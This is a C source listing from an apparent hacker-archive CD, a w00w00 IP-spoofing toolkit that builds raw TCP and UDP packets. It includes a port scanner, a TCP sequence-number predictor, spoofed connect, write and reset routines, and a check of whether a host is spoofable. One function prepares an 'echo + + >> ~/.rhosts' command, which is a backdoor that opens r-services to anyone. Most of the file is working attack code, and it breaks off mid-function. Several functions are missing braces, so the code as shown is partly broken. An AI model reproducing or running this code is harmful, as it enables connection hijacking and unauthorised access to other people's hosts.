home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / exploits / ipspoof / spoof.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-08-13  |  28.3 KB  |  1,104 lines

  1. /* w00w00! */
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <fcntl.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <sys/wait.h>
  9. #include <sys/ioctl.h>
  10. #include <sys/stat.h>
  11. #include <netdb.h>
  12. #include <netinet/in.h>
  13. #include <netinet/ip.h>
  14. #include <netinet/ip_icmp.h>
  15. #include <netinet/ip_tcp.h>
  16. #include <netinet/udp.h>
  17.  
  18. #define  ERROR         -1
  19.  
  20. #define  IPHDRSIZE     sizeof(struct iphdr)
  21. #define  ICMPHDRSIZE   sizeof(struct icmphdr)
  22. #define  TCPHDRSIZE    sizeof(struct tcphdr)
  23. #define  PSEUDOHDRSIZE sizeof(struct pseudohdr)
  24. #define  UDPHDRSIZE    sizeof(struct udphdr)
  25.  
  26. /****************************************************************************/
  27. /* structure of the pseudo header                                           */
  28. /****************************************************************************/
  29.  
  30. struct pseudohdr {
  31.     unsigned long saddr;
  32.     unsigned long daddr;
  33.     unsigned char protocol;
  34.     unsigned int  leng;
  35.     char useless;
  36. };
  37.  
  38. struct nnn { u_long ip; } myip;
  39.                                                                 
  40. struct s_hdr {
  41.   __u32 s_ack:32;
  42.   __u32 s_seq:32;
  43.   __u32 s_da_ip:32;
  44.   __u32 s_ip:32;
  45.   __u16 s_sport:16;
  46.   __u16 s_dport:16;
  47. } spoof_hdr;
  48.  
  49.  
  50.  
  51. #ifdef SYSV
  52. #define bcopy(s1,s2,len) memcpy(s2,s1,len)
  53. #endif
  54.  
  55. /****************************************************************************/
  56. /*
  57.  * in_cksum --
  58.  *  Checksum routine for Internet Protocol family headers (C Version)
  59.  */
  60. /****************************************************************************/
  61.  
  62. unsigned short in_cksum(addr, len)
  63.     u_short *addr;
  64.     int len;
  65. {
  66.     register int nleft  = len;
  67.     register u_short *w = addr;
  68.     register int sum    = 0;
  69.     u_short answer      = 0;
  70.  
  71.     /*
  72.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  73.      * sequential 16 bit words to it, and at the end, fold back all the
  74.      * carry bits from the top 16 bits into the lower 16 bits.
  75.      */
  76.     while (nleft > 1)  {
  77.         sum   += *w++;
  78.         nleft -= 2;
  79.     }
  80.  
  81.     /* mop up an odd byte, if necessary */
  82.     if (nleft == 1) {
  83.         *(u_char *)(&answer) = *(u_char *)w ;
  84.         sum += answer;
  85.     }
  86.  
  87.     /* add back carry outs from top 16 bits to low 16 bits        */
  88.     sum    = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  89.     sum   += (sum >> 16);                  /* add carry           */
  90.     answer = ~sum;                         /* truncate to 16 bits */
  91.     return(answer);
  92. }
  93.  
  94.  
  95. /****************************************************************************/
  96. /*                          SEND A PAKET TCP!                               */
  97. /*                                                                          */
  98. /*  usage: send_pkt(socket, ip of source, ip of dest, source port, dest     */
  99. /*                  port, flags, seq_num, ack_num, window size, *data,      */
  100. /*            size of data);                                          */
  101. /*                                        */
  102. /****************************************************************************/
  103.  
  104. void send_pkt(s, s_ip, d_ip, s_port, d_port, flags, seq_num, ack_num,
  105.               winsize, data, data_size)
  106.    int s;
  107.    unsigned long s_ip;
  108.    unsigned long d_ip;
  109.    unsigned int  s_port;
  110.    unsigned int  d_port;
  111.    unsigned char flags;
  112.    unsigned long seq_num;
  113.    unsigned long ack_num;
  114.    unsigned int  winsize;
  115.    unsigned char *data;
  116.    unsigned int  data_size;
  117.  
  118. {
  119.    struct   sockaddr_in sin_dst;
  120.    struct   iphdr       *ip;
  121.    struct   tcphdr      *tcp;
  122.    struct   pseudohdr   *pseudo;
  123.    unsigned char        *DATA;
  124.    unsigned char        packet[2048];
  125.    int i;
  126.    
  127.    ip     = (struct iphdr      *)packet;
  128.    pseudo = (struct pseudohdr  *)(packet + IPHDRSIZE - PSEUDOHDRSIZE);
  129.    tcp    = (struct tcphdr     *)(packet + IPHDRSIZE);
  130.    DATA   = (unsigned char     *)(packet + IPHDRSIZE + TCPHDRSIZE);
  131.    
  132.    memset(packet, 0, 2048);                     
  133.    memcpy(DATA, data, data_size);                                 
  134.                                                  
  135.    pseudo->saddr    = s_ip;
  136.    pseudo->daddr    = d_ip;
  137.    pseudo->useless  = 0;
  138.    pseudo->protocol = 6;
  139.    pseudo->leng     = htons(TCPHDRSIZE + data_size);
  140.                             
  141.    tcp->th_sport    = htons(s_port);
  142.    tcp->th_seq      = htonl(seq_num);
  143.    tcp->th_ack      = htonl(ack_num);
  144.    tcp->th_off      = 5;
  145.    tcp->th_flags    = flags;
  146.    tcp->th_win      = htons(winsize);
  147.     
  148.    tcp->th_urp=0;     
  149.    tcp->th_dport    = htons(d_port );
  150.    tcp->th_sum      = 0;
  151.    tcp->th_sum      = in_cksum(pseudo, TCPHDRSIZE + PSEUDOHDRSIZE + data_size);
  152.                  
  153.    memset(packet, 0, IPHDRSIZE);
  154.             
  155.    ip->saddr        = s_ip;
  156.    ip->daddr        = d_ip;
  157.    ip->version      = 4;
  158.    ip->ihl             = 5; 
  159.    ip->ttl          = 245;
  160.    ip->protocol     = 6; 
  161.    ip->tot_len      = htons(IPHDRSIZE + TCPHDRSIZE + data_size);
  162.    ip->tos          = 0;
  163.    ip->id           = random() % 1256;
  164.    ip->frag_off     = 0;
  165.    ip->check        = 0;
  166.    ip->check        = in_cksum(packet, IPHDRSIZE);
  167.             
  168.    sin_dst.sin_addr.s_addr = ip->daddr;
  169.    sin_dst.sin_family      = AF_INET;     
  170.         
  171.    i = sendto(s, packet, IPHDRSIZE + TCPHDRSIZE + data_size, 0,
  172.              (struct sockaddr *)&sin_dst, sizeof(struct sockaddr)); 
  173.  
  174.    if (i == ERROR) {
  175.     perror("sendto");
  176.     exit(ERROR);
  177.    }
  178.  
  179. }
  180.  
  181.  
  182. /****************************************************************************/
  183. /*                          SEND A UDP PACKET                               */
  184. /* usage: udp_send(socket, addr of source, addr of dest, port source,       */
  185. /*                 port of dest, *data, size of data);                      */
  186. /****************************************************************************/
  187.  
  188. void udp_send(s, s_addr, d_addr, s_port, d_port, datagram, datasize)
  189.     int s;
  190.     unsigned long  s_addr;
  191.     unsigned long  d_addr;
  192.     unsigned short s_port;
  193.     unsigned short d_port;
  194.     char     *datagram;
  195.     unsigned datasize;
  196. {
  197.  
  198.   struct   sockaddr_in sin;
  199.   struct   udphdr      *udp;
  200.   struct   iphdr       *ip;
  201.   unsigned char        *data;
  202.   unsigned char        packet[1024];
  203.   int i;
  204.  
  205.   ip     = (struct iphdr     *)packet; 
  206.   udp    = (struct udphdr    *)(packet+IPHDRSIZE);
  207.   data   = (unsigned char    *)(packet+IPHDRSIZE+UDPHDRSIZE);
  208.        
  209.   memset(packet, 0, 1024);
  210.  
  211.   udp->source  = htons(s_port); 
  212.   udp->dest    = htons(d_port);
  213.   udp->len     = htons(UDPHDRSIZE+datasize);
  214.   memcpy(data, datagram, datasize);
  215.  
  216.   udp->check    = 0;         
  217.  
  218.   memcpy(data, datagram, datasize);
  219.         
  220.   memset(packet, 0, IPHDRSIZE);
  221.         
  222.   ip->saddr    = s_addr;
  223.   ip->daddr    = d_addr;
  224.   ip->version  = 4;
  225.   ip->ihl      = 5;
  226.   ip->ttl      = 245;
  227.   ip->id       = random()%5985;
  228.   ip->protocol = 17;
  229.   ip->tot_len  = htons(IPHDRSIZE + UDPHDRSIZE + datasize);
  230.   ip->check    = 0;
  231.   ip->check    = in_cksum((char *)packet,IPHDRSIZE);
  232.                                                                         
  233.                                                                         
  234.  
  235.   sin.sin_family      = AF_INET;
  236.   sin.sin_addr.s_addr = d_addr;
  237.   sin.sin_port        = udp->dest;
  238.  
  239.   i = sendto(s, packet, IPHDRSIZE+UDPHDRSIZE+datasize, 0, 
  240.             (struct sockaddr*)&sin, sizeof(struct sockaddr));
  241.  
  242.   if (i == ERROR) {
  243.     perror("sendto");
  244.     exit(ERROR);
  245.   }
  246.  
  247. }
  248.  
  249.  
  250. /****************************************************************************/
  251. /*                          SEND A ICMP PACKET                              */
  252. /*  icmp_echo(socket fd, source, destinatiton, id, sequence number, data,   */
  253. /*            datasize);                            */
  254. /****************************************************************************/
  255. /* IN TEST !!!!!!!                                */
  256. /*
  257. void icmp_echo(s, src, dest, id, seq, data, datasize)
  258.     int  s;
  259.     unsigned long int src;
  260.     unsigned long int dest;
  261.     int  id;
  262.     int  seq;
  263.     char *data;
  264.     unsigned int datasize;
  265.  
  266. {
  267.   unsigned char        *packet;
  268.   unsigned char        *icmpdata;
  269.   struct   iphdr       *ip;
  270.   struct   icmphdr     *icmp;
  271.   struct   sockaddr_in sin_dst;
  272.   int n;
  273.  
  274.   packet = (char *)malloc(IPHDRSIZE + ICMPHDRSIZE + datasize + 1);
  275.   if (packet == NULL) {
  276.     perror("malloc");
  277.     exit(ERROR);
  278.   }
  279.  
  280.   ip       = (struct iphdr   *)packet;
  281.   icmp     = (struct icmphdr *)(packet + IPHDRSIZE);
  282.   icmpdata = (char           *)(packet + IPHDRSIZE + ICMPHDRSIZE);
  283.  
  284.   ip->saddr             =  src;
  285.   ip->daddr             =  dest;
  286.   ip->version           =  4;
  287.   ip->ihl               =  5;
  288.   ip->ttl               =  255;
  289.   ip->protocol          =  1;
  290.   ip->tot_len           =  htons(IPHDRSIZE + ICMPHDRSIZE + datasize);
  291.   ip->tos               =  0;
  292.   ip->id                =  0;
  293.   ip->frag_off          =  0;
  294.   ip->check              =  0;
  295.   ip->check              =  in_cksum(ip, IPHDRSIZE);
  296.   icmp->type             =  8;
  297.   icmp->code             =  0;
  298.   icmp->checksum         =  0;
  299.   icmp->un.echo.id       =  id;
  300.   icmp->un.echo.sequence =  seq;
  301.   memcpy(icmpdata, data, datasize);
  302.  
  303.   icmp->checksum          = in_cksum(icmp, ICMPHDRSIZE + datasize);
  304.  
  305.   sin_dst.sin_addr.s_addr = ip->daddr;
  306.   sin_dst.sin_family      = AF_INET;
  307.  
  308.   n = sendto(s, packet, IPHDRSIZE + ICMPHDRSIZE + datasize, 0,
  309.           (struct sockaddr*)&sin_dst, sizeof(struct sockaddr));
  310.  
  311.   if (n == ERROR) {
  312.         perror("sendto");
  313.         free(packet);
  314.         exit(ERROR);
  315.   }
  316.  
  317.   free(packet);
  318. }
  319. */
  320.  
  321. /****************************************************************************/
  322. /*                         TEST IF  A HOST IS ALIVE                   */
  323. /*                                                                          */
  324. /*                       Not implemented yet                           */
  325. /****************************************************************************/ 
  326.  
  327.  
  328. /****************************************************************************/
  329. /*                   RECV PAKET                                     */
  330. /*  get_pkt(socket, *buffer, size of the buffer);                           */
  331. /****************************************************************************/
  332. int get_pkt(int s, unsigned char *data, int size)
  333. {
  334.   struct sockaddr_in sin;
  335.   int len, resu;
  336.  
  337.   len = sizeof(sin);
  338.   resu = recvfrom(s, data, size, 0, (struct sockaddr *)&sin, &len);
  339.   if (resu == ERROR) {
  340.     perror("recvfrom");
  341.     exit(ERROR);
  342.   }
  343.  
  344.   return resu;
  345. }        
  346.      
  347. /****************************************************************************/
  348. /*                     GET THE SEQ NUMBER                                   */
  349. /*  get_seq (source ip, destination ip, source port)                        */
  350. /****************************************************************************/
  351.  
  352. unsigned long get_seq(s_ip, d_ip, s_port)
  353.   unsigned long s_ip; 
  354.   unsigned long d_ip;
  355.   unsigned int  s_port;
  356.  
  357. {
  358.   struct   tcphdr       *tcp;
  359.   struct   iphdr        *ip;
  360.   unsigned char         data[400];
  361.   unsigned long         ack_num = 0;
  362.  
  363.   int  s, s_r, S_port; 
  364.   int  i = 1,  er;
  365.   int  timeout = 0, on = 1;
  366.  
  367.   ip  = (struct iphdr  *)data;
  368.   tcp = (struct tcphdr *)(data+IPHDRSIZE);
  369.   memset(data, 0, 399);
  370.  
  371.   S_port = random() % 1000;
  372.  
  373.   if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR)  {
  374.     perror("socket");
  375.     exit(ERROR);
  376.   }
  377.  
  378.   if ((s_r = socket(AF_INET, SOCK_RAW, 6)) == ERROR)  {
  379.     perror("socket");
  380.     exit(ERROR);
  381.   }
  382.  
  383.   if ((ioctl(s,   FIONBIO, &on)) == ERROR) {
  384.     perror("ioctl");
  385.     exit(ERROR);
  386.   }
  387.  
  388.   if ((ioctl(s_r, FIONBIO, &on)) == ERROR) {
  389.     perror("ioctl");
  390.     exit(ERROR);
  391.   }
  392.    
  393.   #ifdef IP_HDRINCL
  394.   er = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i));
  395.   if (er == ERROR) {
  396.     perror("setsockopt");
  397.     exit(ERROR);
  398.   }
  399.   #endif 
  400.  
  401.   send_pkt(s, s_ip, d_ip, S_port, s_port, TH_SYN, 1234, 0, 512, NULL, 0);
  402.  
  403.   while(timeout < 480) {
  404.        get_pkt(s_r, data, 398);
  405.              
  406.        if(ip->saddr == d_ip) {
  407.              if(tcp->th_dport == htons(S_port))
  408.                   if(tcp->th_sport == htons(s_port))
  409.                       if(tcp->th_flags & TH_ACK) {
  410.                          printf(" Seq. num is %lu\n", ntohl(tcp->th_seq));
  411.                          ack_num = ntohl(tcp->th_seq);
  412.                          break;
  413.                       } 
  414.                      
  415.              usleep(10000);
  416.              timeout++;
  417.        }
  418.   }
  419.  
  420.   close(s);
  421.   close(s_r);
  422.   return ack_num;
  423.  
  424. /****************************************************************************/
  425. /*                     PORT PROBER                                          */
  426. /* usage:  pprobe(ip of destination, port, flags)                           */
  427. /****************************************************************************/
  428.  
  429. int pprobe(da_ip, port, flags)
  430.    unsigned long da_ip;
  431.    unsigned short int port; 
  432.    int flags;
  433. {
  434.   struct    tcphdr       *tcp;
  435.   struct    iphdr        *ip, *ipr;
  436.   unsigned  char         data[400];
  437.   unsigned  char         datar[400];
  438.   int s, s_r, sicmp;
  439.   int resu;
  440.   int timeout = 0;
  441.   int on = 1;
  442.   int er, i;
  443.  
  444.   ip  = (struct iphdr  *)data;
  445.   tcp = (struct tcphdr *)(data+IPHDRSIZE);
  446.   ipr = (struct iphdr  *)data;
  447.  
  448.   memset(data, 0, 399);
  449.  
  450.   if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  451.     perror("socket");
  452.     exit(ERROR);
  453.   }
  454.  
  455.   if ((s_r = socket(AF_INET, SOCK_RAW, 6)) == ERROR) {
  456.     perror("socket");
  457.     exit(ERROR);
  458.   }
  459.  
  460.   if ((sicmp = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {    
  461.     perror("socket");
  462.     exit(ERROR);
  463.   }
  464.  
  465.   if ((ioctl(s_r, FIONBIO, &on)) == ERROR) {
  466.     perror("ioctl");
  467.     exit(ERROR);
  468.   }
  469.  
  470.   if ((ioctl(sicmp, FIONBIO, &on)) == ERROR) {
  471.     perror("ioctl");
  472.     exit(ERROR);
  473.   }
  474.  
  475.          
  476.   #ifdef IP_HDRINCL
  477.   er = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i));
  478.   if (er == ERROR) {
  479.     perror("setsockopt");
  480.     exit(ERROR);
  481.   }
  482.   #endif
  483.             
  484.  
  485.   send_pkt(s, myip.ip, da_ip, 2669, port, flags, 1234, 0, 512, NULL, 0);
  486.   resu = -1;
  487.  
  488.   while(timeout < 80) {
  489.  
  490.     data[0]  = '0';
  491.         datar[0] = '0';
  492.         usleep(100000);
  493.  
  494.         timeout++;
  495.  
  496.         get_pkt(s_r,   data,  399);
  497.         get_pkt(sicmp, datar, 399);
  498.  
  499.         if(datar[0] != '0') {
  500.         resu = -1;
  501.             printf("ICMP!\n");
  502.             goto fin;
  503.       }
  504.  
  505.       if(data[0] != '0') 
  506.               if(ip->saddr == da_ip)
  507.               if(tcp->th_dport == htons(2669))
  508.                  if(tcp->th_sport == htons(port)) {
  509.                      resu = (tcp->th_flags |  TH_ACK);
  510.                      if(resu==18)resu = 0;    
  511.                      if(resu==20)resu = -1;
  512.                      break;   
  513.                  }
  514.              
  515.               
  516.      
  517.   }
  518.  
  519.   fin:
  520.     if (timeout > 79) printf(" Time Out");
  521.  
  522.   close(s);
  523.   close(s_r);
  524.   close(sicmp);
  525.   return resu;
  526. }          
  527.  
  528. /*****************************************************************************/
  529. /* pprobeS (ip victim, flags, FILE files, port limit)                        */
  530. /*****************************************************************************/
  531.  
  532. int pprobeS(da_ip, flags, files, limit)
  533.     unsigned long da_ip;
  534.     int flags;
  535.     FILE *files;
  536.     u_int limit;
  537. {
  538.   struct   tcphdr       *tcp;
  539.   struct   iphdr        *ip, *ipr;
  540.   unsigned char         data[400], datar[400];
  541.   int   s, s_r, sicmp;
  542.   int   resu;
  543.   int   timeout = 0;
  544.   int   i       = 1;
  545.   u_int lim     = 0;
  546.   int er;
  547.  
  548.   bzero(data, 400);
  549.  
  550.   ip  = (struct iphdr  *)data;
  551.   tcp = (struct tcphdr *)(data + IPHDRSIZE);
  552.   ipr = (struct iphdr  *)data;
  553.  
  554.  
  555.   if ((s =  socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  556.     perror("socket");
  557.     exit(ERROR);
  558.   }
  559.  
  560.   if((s_r = socket(AF_INET, SOCK_RAW, 6)) == ERROR) {
  561.     perror("socket");
  562.     exit(ERROR);
  563.   }
  564.  
  565.   if ((sicmp = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  566.     perror("socket");
  567.     exit(ERROR);
  568.   }
  569.  
  570.   /* ioctl(s_r,FIONBIO,&on);   */
  571.   /* ioctl(sicmp,FIONBIO,&on); */
  572.  
  573.          
  574.   #ifdef IP_HDRINCL
  575.   er = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i));
  576.   if (er == ERROR) {
  577.     perror("setsockopt");
  578.     exit(ERROR);
  579.   }
  580.   #endif
  581.             
  582.   resu = -1;
  583.   lim  =  1;
  584.  
  585.   while(lim < limit) {
  586.     send_pkt(s, myip.ip, da_ip, 2669, lim, flags, 1234, 0, 
  587.                  512, NULL, 0);
  588.  
  589.     data[0] = '0', datar[0] = '0';  
  590.  
  591.     get_pkt(s_r, data , 399);
  592.         
  593.        if(data[0] != '0')
  594.            if(ip->saddr == da_ip)
  595.               if(tcp->th_dport == htons(2669))
  596.                  if(tcp->th_sport != htons(2669)) {                    
  597.                          resu = (tcp->th_flags | TH_ACK);
  598.                          if(resu == 18) {
  599.                          printf("the port %d is open!\n", 
  600.                 ntohs(tcp->th_sport));
  601.                            fprintf(files,"%d\n", ntohs(tcp->th_sport));
  602.                              fflush(files); 
  603.                               goto fin;
  604.                          } 
  605.                  }
  606.     
  607.     fin:
  608.         lim++;
  609.   }
  610.  
  611.   if (timeout > 79) printf(" Time Out");
  612.  
  613.   close(s);
  614.   close(s_r);
  615.   close(sicmp);
  616.   return resu;
  617. }          
  618.  
  619.  
  620.  
  621.                                                                                
  622. /****************************************************************************/
  623. /*                       UDP PORT PROBER                                    */
  624. /* usage: Upprobe(ip of destination, port)                                  */
  625. /****************************************************************************/
  626.  
  627. int Upprobe(unsigned long da_ip, unsigned short int port)
  628. {
  629.   struct   sockaddr_in  sin_dst;
  630.   struct   icmphdr      *icmp;
  631.   struct   iphdr        *ip;
  632.   unsigned char         data[400];
  633.   int  s, s_r;
  634.   int  i = 0;
  635.   int  resu;
  636.  
  637.   ip  =  (struct iphdr   *)data;
  638.   icmp = (struct icmphdr *)(data+IPHDRSIZE);
  639.   memset(data, 0, 399);
  640.  
  641.   if ((s = socket(AF_INET, SOCK_DGRAM, 17)) == ERROR) {
  642.     perror("socket");
  643.     exit(ERROR);
  644.   }
  645.  
  646.   if ((ioctl(s, FIONBIO, &i)) == ERROR) {
  647.     perror("ioctl");
  648.     exit(ERROR);
  649.   }
  650.  
  651.   sin_dst.sin_family      = AF_INET;
  652.   sin_dst.sin_port        = htons(port);
  653.   sin_dst.sin_addr.s_addr = da_ip;
  654.   sendto(s, NULL, 0, 0, (struct sockaddr *)&sin_dst, sizeof(sin_dst));
  655.  
  656.   if ((s_r = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {
  657.     perror("socket");
  658.     exit(ERROR);
  659.   }
  660.  
  661.   i = 1;
  662.  
  663.   if ((ioctl(s_r, FIONBIO, &i)) == ERROR) {
  664.     perror("ioctl");
  665.     exit(ERROR);
  666.   }
  667.           
  668.   resu = -1;  
  669.  
  670.   while (1) {
  671.     data[0] = '0';
  672.     get_pkt(s_r, data, 399);
  673.  
  674.     if(data[0] != '0') { 
  675.         printf(" ???\n");
  676.           if(ip->saddr == da_ip)
  677.               if(ip->protocol == 1) {
  678.                   resu = 0;     
  679.                   goto fin;
  680.               } else
  681.               resu = -1;
  682.         }  
  683.   }
  684.  
  685.   fin:
  686.     return resu;
  687.  
  688.          
  689. /****************************************************************************/
  690. /*                     Make a spoofed connection                            */
  691. /*                                                                          */
  692. /* usage(socket, source ip, destination ip, source port, destination port,  */
  693. /*       your ip)                                     */
  694. /****************************************************************************/
  695.  
  696. int Sconnect(s, s_ip, d_ip, s_port, d_port, myhost)
  697.     int s;
  698.     unsigned long  s_ip;
  699.     unsigned long  d_ip;
  700.     unsigned short int s_port;
  701.     unsigned short int d_port;
  702.     unsigned long  myhost;
  703.  
  704.  
  705.   int loop;
  706.  
  707.   spoof_hdr.s_seq   = 1;
  708.   spoof_hdr.s_da_ip = d_ip;
  709.   spoof_hdr.s_ip    = s_ip;
  710.   spoof_hdr.s_sport = s_port;
  711.   spoof_hdr.s_dport = d_port;
  712.   spoof_hdr.s_ack   = get_seq(myhost, d_ip, d_port);
  713.  
  714.   if(spoof_hdr.s_ack == 0) {
  715.     printf(" Too Slow\n");
  716.     return(2);
  717.   }
  718.  
  719.   send_pkt(s, s_ip, d_ip, s_port, d_port, TH_SYN, spoof_hdr.s_seq, 
  720.        1, 512, NULL, 0);
  721.  
  722.   for(loop = 1; loop < 8; loop++) {
  723.     spoof_hdr.s_seq = spoof_hdr.s_seq;
  724.     printf(" spoof ack +64000 * %d + 1 = %lu\n",
  725.         loop, (u_long) spoof_hdr.s_ack + (64000 * loop) + 1);
  726.     send_pkt(s, s_ip, d_ip, s_port, d_port, TH_ACK, spoof_hdr.s_seq + 1, 
  727.          spoof_hdr.s_ack + (64000 * loop) + 1, 14360, NULL, 0); 
  728.   }
  729.  
  730.   spoof_hdr.s_seq++;
  731.   return(0);
  732. }
  733.  
  734. /****************************************************************************/
  735. /*               Spoofed write  (need to use Sconnect before this)          */
  736. /* usage:  Swrite (socket, *data, size of data );                           */
  737. /****************************************************************************/
  738.  
  739.  
  740. void Swrite(int s, u_char *data, int size)
  741. {
  742.   int loop;
  743.  
  744.   for(loop = 1; loop < 8; loop++) {
  745.     send_pkt(s, spoof_hdr.s_ip, spoof_hdr.s_da_ip, spoof_hdr.s_sport, 
  746.              spoof_hdr.s_dport, (TH_PUSH|TH_ACK), spoof_hdr.s_seq, 
  747.              spoof_hdr.s_ack + (64000 * loop) + 1, 14360, data, size);
  748.   }
  749.  
  750.   spoof_hdr.s_seq = spoof_hdr.s_seq+size;
  751. }   
  752.  
  753.  
  754. /****************************************************************************/
  755. /* Spoofed write 2                                */
  756. /* usage: Swrites(s, *data);                                */
  757. /****************************************************************************/
  758. void Swrites(int s, char *data)
  759. {
  760.     int size;
  761.     size = strlen(data);
  762.     Swrite(s, data, size);
  763. }
  764.  
  765.  
  766. /****************************************************************************/
  767. /* RESET CONNETION                                */
  768. /****************************************************************************/
  769.  
  770. void Srst(int s)
  771. {
  772.   int loop;
  773.  
  774.   for(loop = 1; loop < 8; loop++) {
  775.     send_pkt(s,spoof_hdr.s_ip,  spoof_hdr.s_da_ip,
  776.                  spoof_hdr.s_sport, spoof_hdr.s_dport,
  777.                  TH_FIN, spoof_hdr.s_seq, spoof_hdr.s_ack +
  778.          (64000 * loop) + 1, 14360, NULL, 0);
  779.   }
  780.  
  781.   for(loop=1; loop < 8; loop++) {
  782.     send_pkt(s, spoof_hdr.s_ip, spoof_hdr.s_da_ip, spoof_hdr.s_sport,
  783.              spoof_hdr.s_dport, TH_ACK, spoof_hdr.s_seq, 
  784.          spoof_hdr.s_ack + (64000 * loop) + 1, 14360, NULL, 0);
  785.  
  786.   }
  787.  
  788. }   
  789.  
  790.  
  791. /****************************************************************************/
  792. /*           Test if a host is spoofable                                    */
  793. /* usage: Stest (myhost,ip dest , port of dest);                            */
  794. /****************************************************************************/
  795.  
  796. int Stest(unsigned long myhost, unsigned long ip_d, unsigned short d_port)
  797. {
  798.   u_long resu;
  799.   u_long resu1;
  800.   u_long resu2;
  801.   u_long resu3;
  802.   int done = -1;
  803.  
  804.  
  805.   resu   = get_seq(myhost, ip_d, d_port);
  806.   resu1  = get_seq(myhost, ip_d, d_port);
  807.   resu2  = get_seq(myhost, ip_d, d_port);
  808.   resu3  = get_seq(myhost, ip_d, d_port);
  809.  
  810.  
  811.   if(((resu1 - resu)  == 64000) || ((resu1 - resu)  == 128000)) done = 0;
  812.   if(((resu3 - resu2) == 64000) || ((resu3 - resu2) == 128000)) done = 0;
  813.  
  814.   return  done;
  815.  
  816. }
  817.  
  818. /****************************************************************************/
  819. /*    get the ip from a host -l ouput file                                  */
  820. /* usage: IPFILES( *the src file, *the output file);                        */
  821. /****************************************************************************/
  822.  
  823. void IPFILES(FILE *DA, FILE *trace)
  824. {
  825.   char ipz[256];
  826.   int oki;
  827.  
  828.   while(!feof(DA)) {                
  829.      int size;
  830.  
  831.      fscanf(DA , "%s", ipz);  
  832.       
  833.      size = strspn(ipz, "aAeEiIoOuUyYgG");
  834.      if (size <= 0) oki = 1;
  835.  
  836.      if(oki == 1) {  
  837.         fprintf(trace, "%s\n", ipz );
  838.         fflush(trace);
  839.         oki = 0;
  840.      }
  841.           
  842.      if(feof(DA)) break;
  843.         
  844.   }
  845.  
  846. }
  847.  
  848. /****************************************************************************/
  849. /*                  Do a port scan                        */
  850. /*  Scan2(int *input, int *output, size of *, flags, ip);              */
  851. /****************************************************************************/
  852.  
  853. void Scan2(int *ptr, int *outptr, int Size, int flags, u_long da_ip)
  854.   int s, i = 1, s_r, resu, timeout = 0, try = 0, on = 1;
  855.  
  856.   struct   tcphdr *tcp, *tcpr;
  857.   struct   iphdr  *ip,  *ipr;
  858.  
  859.   unsigned char   data[400];
  860.   unsigned char   datar[400];
  861.  
  862.   ip  = (struct iphdr  *)data;
  863.   tcp = (struct tcphdr *)(data+IPHDRSIZE);
  864.   ipr = (struct iphdr  *)datar;
  865.   tcpr= (struct tcphdr *)(datar+IPHDRSIZE);
  866.  
  867.   memset(outptr, 0, (Size / 2));
  868.   memset(data, 0, 399);
  869.  
  870.   if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  871.     perror("socket");
  872.     exit(ERROR);
  873.   }
  874.  
  875.   if ((s_r = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  876.     perror("socket");
  877.     exit(ERROR);
  878.   }
  879.  
  880.   if ((ioctl(s_r, FIONBIO, &on)) == ERROR) {
  881.     perror("socket");
  882.     exit(ERROR);
  883.   }
  884.          
  885.   #ifdef IP_HDRINCL
  886.   if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i)) 
  887.             == ERROR) {
  888.     perror("setsockopt");
  889.     exit(ERROR);
  890.   }
  891.   #endif
  892.             
  893.  
  894.   while(timeout < 540) {
  895.       data[0]  = '0';
  896.         datar[0] = '0';
  897.  
  898.       usleep(10000);
  899.  
  900.       timeout = timeout + 1;
  901.  
  902.           if(try < Size)
  903.          if(*(ptr + try) != 0) 
  904.         send_pkt(s, myip.ip, da_ip, 40000 - try, *(ptr + try), flags,
  905.                  1234, 0, 512, NULL, 0);
  906.  
  907.       get_pkt(s_r, datar, 399);
  908.  
  909.       if(datar[0] != '0')
  910.            if(ipr->saddr == da_ip)
  911.         if(ntohs(tcpr->th_dport) > 39000) {   
  912.                    resu = (tcpr->th_flags | TH_ACK);
  913.                    if(resu == 18) {
  914.                    *(outptr + (40000 - ntohs(tcpr->th_dport))) = 1;
  915.                           printf("The port %i responded :)\n",
  916.                 ntohs(tcpr->th_sport));
  917.                           resu = 0;
  918.                        datar[0] = '0';
  919.                    }
  920.                 }      
  921.  
  922.           try++;
  923.   }   
  924.  
  925.  
  926. /****************************************************************************/
  927. /*  Rtest a function for test the permission of R* service                  */
  928. /*  Rtest(ip of victim, port, *remote user, *local user);            */
  929. /****************************************************************************/
  930.  
  931. int Rtest(u_long ip, int port, char *Ruser, char *Luser)
  932. {
  933.   struct sockaddr_in adresse_serveur,adresse_client;
  934.   char   bla[2000], cmd[200], *cmdptr;
  935.   char   exe[200] = "echo \" + + \" >> ~/.rhosts";
  936.   int    socket_client, err, res;
  937.   int    longueur = sizeof(struct sockaddr_in);
  938.  
  939.   bzero(bla, 2000);
  940.   bzero(cmd, 200);
  941.   cmdptr = cmd;
  942.  
  943.   if(port == 514) {
  944.     
  945.     if((socket_client = socket(AF_INET, SOCK_STREAM, 6)) == ERROR) {
  946.         perror("socket");
  947.         exit(ERROR);
  948.         }
  949.  
  950.     adresse_client.sin_family      = AF_INET;
  951.     adresse_client.sin_addr.s_addr = htonl(INADDR_ANY);
  952.     adresse_client.sin_port        = htons(764 + 1 +(100.0 * rand() / 
  953.                                (RAND_MAX + 1.0)));
  954.         printf("port %i\n", ntohs(adresse_client.sin_port));
  955.  
  956.         res = bind(socket_client, (struct sockaddr *)&adresse_client, 
  957.            longueur);
  958.  
  959.         if (res == ERROR) {
  960.         perror("bind");
  961.         close(socket_client);
  962.         exit(ERROR);
  963.     }
